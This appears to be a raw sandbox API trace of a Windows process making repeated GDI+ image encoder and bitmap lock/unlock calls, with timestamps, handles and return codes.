	[0050.763] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bffa0 | out: encoders=0x77bffa0) returned 0x0
	[0050.764] GdipBitmapLockBits (bitmap=0x78d8c60, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26e5814) returned 0x0
	[0050.764] GdipBitmapUnlockBits (bitmap=0x78d8c60, lockedBitmapData=0x26e5814) returned 0x0
	[0050.764] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.764] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77bffa0 | out: encoders=0x77bffa0) returned 0x0
	[0050.765] GdipBitmapLockBits (bitmap=0x78d8fa8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26e86f4) returned 0x0
	[0050.765] GdipBitmapUnlockBits (bitmap=0x78d8fa8, lockedBitmapData=0x26e86f4) returned 0x0
	[0050.765] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.765] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77c1fa0 | out: encoders=0x77c1fa0) returned 0x0
	[0050.766] GdipBitmapLockBits (bitmap=0x78d92f0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26eb5d4) returned 0x0
	[0050.766] GdipBitmapUnlockBits (bitmap=0x78d92f0, lockedBitmapData=0x26eb5d4) returned 0x0
	[0050.766] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.766] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77c1fa0 | out: encoders=0x77c1fa0) returned 0x0
	[0050.767] GdipBitmapLockBits (bitmap=0x78d9638, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26ee4b4) returned 0x0
	[0050.767] GdipBitmapUnlockBits (bitmap=0x78d9638, lockedBitmapData=0x26ee4b4) returned 0x0
	[0050.767] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.767] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77c1fa0 | out: encoders=0x77c1fa0) returned 0x0
	[0050.768] GdipBitmapLockBits (bitmap=0x78d9980, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26f1394) returned 0x0
	[0050.768] GdipBitmapUnlockBits (bitmap=0x78d9980, lockedBitmapData=0x26f1394) returned 0x0
	[0050.768] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.769] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77c1fa0 | out: encoders=0x77c1fa0) returned 0x0
	[0050.769] GdipBitmapLockBits (bitmap=0x78d9cc8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26f4274) returned 0x0
	[0050.769] GdipBitmapUnlockBits (bitmap=0x78d9cc8, lockedBitmapData=0x26f4274) returned 0x0
	[0050.769] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.770] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77c1fa0 | out: encoders=0x77c1fa0) returned 0x0
	[0050.770] GdipBitmapLockBits (bitmap=0x78da010, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26f7154) returned 0x0
	[0050.770] GdipBitmapUnlockBits (bitmap=0x78da010, lockedBitmapData=0x26f7154) returned 0x0
	[0050.770] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.770] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77c1fa0 | out: encoders=0x77c1fa0) returned 0x0
	[0050.771] GdipBitmapLockBits (bitmap=0x78da358, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26fa034) returned 0x0
	[0050.771] GdipBitmapUnlockBits (bitmap=0x78da358, lockedBitmapData=0x26fa034) returned 0x0
	[0050.771] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.771] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77c1fa0 | out: encoders=0x77c1fa0) returned 0x0
	[0050.772] GdipBitmapLockBits (bitmap=0x78da6a0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26fcf14) returned 0x0
	[0050.772] GdipBitmapUnlockBits (bitmap=0x78da6a0, lockedBitmapData=0x26fcf14) returned 0x0
	[0050.772] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.772] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77c27a0 | out: encoders=0x77c27a0) returned 0x0
	[0050.773] GdipBitmapLockBits (bitmap=0x78da9e8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x26ffdf4) returned 0x0
	[0050.773] GdipBitmapUnlockBits (bitmap=0x78da9e8, lockedBitmapData=0x26ffdf4) returned 0x0
	[0050.773] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.773] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77c37a0 | out: encoders=0x77c37a0) returned 0x0
	[0050.773] GdipBitmapLockBits (bitmap=0x78dad30, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2702cd4) returned 0x0
	[0050.773] GdipBitmapUnlockBits (bitmap=0x78dad30, lockedBitmapData=0x2702cd4) returned 0x0
	[0050.774] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.774] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77c37a0 | out: encoders=0x77c37a0) returned 0x0
	[0050.774] GdipBitmapLockBits (bitmap=0x78db078, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2705bb4) returned 0x0
	[0050.774] GdipBitmapUnlockBits (bitmap=0x78db078, lockedBitmapData=0x2705bb4) returned 0x0
	[0050.775] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.775] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77c37a0 | out: encoders=0x77c37a0) returned 0x0
	[0050.775] GdipBitmapLockBits (bitmap=0x78db3c0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2708a94) returned 0x0
	[0050.775] GdipBitmapUnlockBits (bitmap=0x78db3c0, lockedBitmapData=0x2708a94) returned 0x0
	[0050.775] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.776] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77c37a0 | out: encoders=0x77c37a0) returned 0x0
	[0050.776] GdipBitmapLockBits (bitmap=0x78db708, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x270b974) returned 0x0
	[0050.776] GdipBitmapUnlockBits (bitmap=0x78db708, lockedBitmapData=0x270b974) returned 0x0
	[0050.776] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.777] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77c4788 | out: encoders=0x77c4788) returned 0x0
	[0050.778] GdipBitmapLockBits (bitmap=0x78dba50, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x270e854) returned 0x0
	[0050.779] GdipBitmapUnlockBits (bitmap=0x78dba50, lockedBitmapData=0x270e854) returned 0x0
	[0050.779] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.779] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d4788 | out: encoders=0x77d4788) returned 0x0
	[0050.780] GdipBitmapLockBits (bitmap=0x78dbd98, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2711734) returned 0x0
	[0050.780] GdipBitmapUnlockBits (bitmap=0x78dbd98, lockedBitmapData=0x2711734) returned 0x0
	[0050.781] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.781] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d4788 | out: encoders=0x77d4788) returned 0x0
	[0050.782] GdipBitmapLockBits (bitmap=0x78dc0e0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2714614) returned 0x0
	[0050.782] GdipBitmapUnlockBits (bitmap=0x78dc0e0, lockedBitmapData=0x2714614) returned 0x0
	[0050.782] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.783] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d4788 | out: encoders=0x77d4788) returned 0x0
	[0050.783] GdipBitmapLockBits (bitmap=0x78dc428, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27174f4) returned 0x0
	[0050.783] GdipBitmapUnlockBits (bitmap=0x78dc428, lockedBitmapData=0x27174f4) returned 0x0
	[0050.783] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.784] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d4788 | out: encoders=0x77d4788) returned 0x0
	[0050.784] GdipBitmapLockBits (bitmap=0x78dc770, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x271a3d4) returned 0x0
	[0050.784] GdipBitmapUnlockBits (bitmap=0x78dc770, lockedBitmapData=0x271a3d4) returned 0x0
	[0050.784] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.785] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d5788 | out: encoders=0x77d5788) returned 0x0
	[0050.785] GdipBitmapLockBits (bitmap=0x78dcab8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x271d2b4) returned 0x0
	[0050.785] GdipBitmapUnlockBits (bitmap=0x78dcab8, lockedBitmapData=0x271d2b4) returned 0x0
	[0050.785] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.785] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d5788 | out: encoders=0x77d5788) returned 0x0
	[0050.786] GdipBitmapLockBits (bitmap=0x78dce00, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2720194) returned 0x0
	[0050.786] GdipBitmapUnlockBits (bitmap=0x78dce00, lockedBitmapData=0x2720194) returned 0x0
	[0050.786] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.786] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d5788 | out: encoders=0x77d5788) returned 0x0
	[0050.787] GdipBitmapLockBits (bitmap=0x78dd148, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2723074) returned 0x0
	[0050.787] GdipBitmapUnlockBits (bitmap=0x78dd148, lockedBitmapData=0x2723074) returned 0x0
	[0050.787] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.787] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d5788 | out: encoders=0x77d5788) returned 0x0
	[0050.788] GdipBitmapLockBits (bitmap=0x78dd490, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2725f54) returned 0x0
	[0050.788] GdipBitmapUnlockBits (bitmap=0x78dd490, lockedBitmapData=0x2725f54) returned 0x0
	[0050.788] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.788] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d7788 | out: encoders=0x77d7788) returned 0x0
	[0050.789] GdipBitmapLockBits (bitmap=0x78dd7d8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2728e34) returned 0x0
	[0050.789] GdipBitmapUnlockBits (bitmap=0x78dd7d8, lockedBitmapData=0x2728e34) returned 0x0
	[0050.789] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.789] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d7788 | out: encoders=0x77d7788) returned 0x0
	[0050.790] GdipBitmapLockBits (bitmap=0x78ddb20, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x272bd14) returned 0x0
	[0050.797] GdipBitmapUnlockBits (bitmap=0x78ddb20, lockedBitmapData=0x272bd14) returned 0x0
	[0050.797] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.798] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d7788 | out: encoders=0x77d7788) returned 0x0
	[0050.798] GdipBitmapLockBits (bitmap=0x78dde68, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x272ebf4) returned 0x0
	[0050.798] GdipBitmapUnlockBits (bitmap=0x78dde68, lockedBitmapData=0x272ebf4) returned 0x0
	[0050.798] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.799] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d7788 | out: encoders=0x77d7788) returned 0x0
	[0050.799] GdipBitmapLockBits (bitmap=0x78de1b0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2731ad4) returned 0x0
	[0050.799] GdipBitmapUnlockBits (bitmap=0x78de1b0, lockedBitmapData=0x2731ad4) returned 0x0
	[0050.799] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.799] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d7788 | out: encoders=0x77d7788) returned 0x0
	[0050.800] GdipBitmapLockBits (bitmap=0x78de4f8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27349b4) returned 0x0
	[0050.800] GdipBitmapUnlockBits (bitmap=0x78de4f8, lockedBitmapData=0x27349b4) returned 0x0
	[0050.800] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.800] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d7788 | out: encoders=0x77d7788) returned 0x0
	[0050.801] GdipBitmapLockBits (bitmap=0x78de840, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2737894) returned 0x0
	[0050.801] GdipBitmapUnlockBits (bitmap=0x78de840, lockedBitmapData=0x2737894) returned 0x0
	[0050.801] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.801] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d7788 | out: encoders=0x77d7788) returned 0x0
	[0050.802] GdipBitmapLockBits (bitmap=0x78deb88, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x273a774) returned 0x0
	[0050.802] GdipBitmapUnlockBits (bitmap=0x78deb88, lockedBitmapData=0x273a774) returned 0x0
	[0050.802] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.802] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d7788 | out: encoders=0x77d7788) returned 0x0
	[0050.804] GdipBitmapLockBits (bitmap=0x78deed0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x273d654) returned 0x0
	[0050.804] GdipBitmapUnlockBits (bitmap=0x78deed0, lockedBitmapData=0x273d654) returned 0x0
	[0050.804] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.804] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d7788 | out: encoders=0x77d7788) returned 0x0
	[0050.805] GdipBitmapLockBits (bitmap=0x78df218, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2740534) returned 0x0
	[0050.805] GdipBitmapUnlockBits (bitmap=0x78df218, lockedBitmapData=0x2740534) returned 0x0
	[0050.805] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.805] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d7788 | out: encoders=0x77d7788) returned 0x0
	[0050.806] GdipBitmapLockBits (bitmap=0x78df560, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2743414) returned 0x0
	[0050.806] GdipBitmapUnlockBits (bitmap=0x78df560, lockedBitmapData=0x2743414) returned 0x0
	[0050.806] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.806] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d9788 | out: encoders=0x77d9788) returned 0x0
	[0050.807] GdipBitmapLockBits (bitmap=0x78df8a8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27462f4) returned 0x0
	[0050.807] GdipBitmapUnlockBits (bitmap=0x78df8a8, lockedBitmapData=0x27462f4) returned 0x0
	[0050.807] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.807] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d9788 | out: encoders=0x77d9788) returned 0x0
	[0050.808] GdipBitmapLockBits (bitmap=0x78dfbf0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27491d4) returned 0x0
	[0050.808] GdipBitmapUnlockBits (bitmap=0x78dfbf0, lockedBitmapData=0x27491d4) returned 0x0
	[0050.808] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.808] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d9788 | out: encoders=0x77d9788) returned 0x0
	[0050.809] GdipBitmapLockBits (bitmap=0x78dff38, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x274c0b4) returned 0x0
	[0050.809] GdipBitmapUnlockBits (bitmap=0x78dff38, lockedBitmapData=0x274c0b4) returned 0x0
	[0050.809] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.809] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d9788 | out: encoders=0x77d9788) returned 0x0
	[0050.809] GdipBitmapLockBits (bitmap=0x78e0280, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x274ef94) returned 0x0
	[0050.810] GdipBitmapUnlockBits (bitmap=0x78e0280, lockedBitmapData=0x274ef94) returned 0x0
	[0050.810] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.810] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d9788 | out: encoders=0x77d9788) returned 0x0
	[0050.810] GdipBitmapLockBits (bitmap=0x78e05c8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2751e74) returned 0x0
	[0050.810] GdipBitmapUnlockBits (bitmap=0x78e05c8, lockedBitmapData=0x2751e74) returned 0x0
	[0050.810] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.811] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d9788 | out: encoders=0x77d9788) returned 0x0
	[0050.812] GdipBitmapLockBits (bitmap=0x78f7460, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2754d54) returned 0x0
	[0050.812] GdipBitmapUnlockBits (bitmap=0x78f7460, lockedBitmapData=0x2754d54) returned 0x0
	[0050.812] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.812] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d9788 | out: encoders=0x77d9788) returned 0x0
	[0050.812] GdipBitmapLockBits (bitmap=0x78f77a8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2757c34) returned 0x0
	[0050.812] GdipBitmapUnlockBits (bitmap=0x78f77a8, lockedBitmapData=0x2757c34) returned 0x0
	[0050.813] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.813] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d9788 | out: encoders=0x77d9788) returned 0x0
	[0050.813] GdipBitmapLockBits (bitmap=0x78f7af0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x275ab14) returned 0x0
	[0050.813] GdipBitmapUnlockBits (bitmap=0x78f7af0, lockedBitmapData=0x275ab14) returned 0x0
	[0050.813] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.813] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d9788 | out: encoders=0x77d9788) returned 0x0
	[0050.814] GdipBitmapLockBits (bitmap=0x78f7e38, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x275d9f4) returned 0x0
	[0050.814] GdipBitmapUnlockBits (bitmap=0x78f7e38, lockedBitmapData=0x275d9f4) returned 0x0
	[0050.814] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.814] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d9788 | out: encoders=0x77d9788) returned 0x0
	[0050.815] GdipBitmapLockBits (bitmap=0x78f8180, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27608d4) returned 0x0
	[0050.815] GdipBitmapUnlockBits (bitmap=0x78f8180, lockedBitmapData=0x27608d4) returned 0x0
	[0050.815] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.815] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77d9788 | out: encoders=0x77d9788) returned 0x0
	[0050.816] GdipBitmapLockBits (bitmap=0x78f84c8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27637b4) returned 0x0
	[0050.816] GdipBitmapUnlockBits (bitmap=0x78f84c8, lockedBitmapData=0x27637b4) returned 0x0
	[0050.816] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.816] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77db788 | out: encoders=0x77db788) returned 0x0
	[0050.816] GdipBitmapLockBits (bitmap=0x78f8810, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2766694) returned 0x0
	[0050.817] GdipBitmapUnlockBits (bitmap=0x78f8810, lockedBitmapData=0x2766694) returned 0x0
	[0050.817] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.817] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77db788 | out: encoders=0x77db788) returned 0x0
	[0050.817] GdipBitmapLockBits (bitmap=0x78f8b58, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2769574) returned 0x0
	[0050.817] GdipBitmapUnlockBits (bitmap=0x78f8b58, lockedBitmapData=0x2769574) returned 0x0
	[0050.817] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.818] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77db788 | out: encoders=0x77db788) returned 0x0
	[0050.818] GdipBitmapLockBits (bitmap=0x78f8ea0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x276c454) returned 0x0
	[0050.818] GdipBitmapUnlockBits (bitmap=0x78f8ea0, lockedBitmapData=0x276c454) returned 0x0
	[0050.818] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.818] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77db788 | out: encoders=0x77db788) returned 0x0
	[0050.819] GdipBitmapLockBits (bitmap=0x78f91e8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x276f334) returned 0x0
	[0050.819] GdipBitmapUnlockBits (bitmap=0x78f91e8, lockedBitmapData=0x276f334) returned 0x0
	[0050.819] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.819] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77db788 | out: encoders=0x77db788) returned 0x0
	[0050.820] GdipBitmapLockBits (bitmap=0x78f9530, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2772214) returned 0x0
	[0050.820] GdipBitmapUnlockBits (bitmap=0x78f9530, lockedBitmapData=0x2772214) returned 0x0
	[0050.820] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.820] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77db788 | out: encoders=0x77db788) returned 0x0
	[0050.820] GdipBitmapLockBits (bitmap=0x78f9878, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x27750f4) returned 0x0
	[0050.821] GdipBitmapUnlockBits (bitmap=0x78f9878, lockedBitmapData=0x27750f4) returned 0x0
	[0050.821] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.821] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77db788 | out: encoders=0x77db788) returned 0x0
	[0050.821] GdipBitmapLockBits (bitmap=0x78f9bc0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2777fd4) returned 0x0
	[0050.821] GdipBitmapUnlockBits (bitmap=0x78f9bc0, lockedBitmapData=0x2777fd4) returned 0x0
	[0050.821] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.822] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77dbf88 | out: encoders=0x77dbf88) returned 0x0
	[0050.822] GdipBitmapLockBits (bitmap=0x78f9f08, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x277aeb4) returned 0x0
	[0050.822] GdipBitmapUnlockBits (bitmap=0x78f9f08, lockedBitmapData=0x277aeb4) returned 0x0
	[0050.822] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.822] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77dc388 | out: encoders=0x77dc388) returned 0x0
	[0050.823] GdipBitmapLockBits (bitmap=0x78fa250, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x277dd94) returned 0x0
	[0050.823] GdipBitmapUnlockBits (bitmap=0x78fa250, lockedBitmapData=0x277dd94) returned 0x0
	[0050.823] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.823] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77dd370 | out: encoders=0x77dd370) returned 0x0
	[0050.824] GdipBitmapLockBits (bitmap=0x78fa598, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2780c74) returned 0x0
	[0050.824] GdipBitmapUnlockBits (bitmap=0x78fa598, lockedBitmapData=0x2780c74) returned 0x0
	[0050.824] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.824] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77dd370 | out: encoders=0x77dd370) returned 0x0
	[0050.824] GdipBitmapLockBits (bitmap=0x78fa8e0, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2783b54) returned 0x0
	[0050.825] GdipBitmapUnlockBits (bitmap=0x78fa8e0, lockedBitmapData=0x2783b54) returned 0x0
	[0050.825] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.825] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77dd370 | out: encoders=0x77dd370) returned 0x0
	[0050.826] GdipBitmapLockBits (bitmap=0x78fac28, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2786a34) returned 0x0
	[0050.826] GdipBitmapUnlockBits (bitmap=0x78fac28, lockedBitmapData=0x2786a34) returned 0x0
	[0050.826] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.826] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77dd370 | out: encoders=0x77dd370) returned 0x0
	[0050.826] GdipBitmapLockBits (bitmap=0x78faf70, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x2789914) returned 0x0
	[0050.827] GdipBitmapUnlockBits (bitmap=0x78faf70, lockedBitmapData=0x2789914) returned 0x0
	[0050.827] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
	[0050.827] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x77dd370 | out: encoders=0x77dd370) returned 0x0
	[0050.827] GdipBitmapLockBits (bitmap=0x78fb2b8, rect=0x4de9f0, flags=0x1, format=0x21808, lockedBitmapData=0x278c7f4) returned 0x0
	[0050.827] GdipBitmapUnlockBits (bitmap=0x78fb2b8, lockedBitmapData=0x278c7f4) returned 0x0
	[0050.827] GdipGetImageEncodersSize (numEncoders=0x4de9dc, size=0x4de9d8) returned 0x0
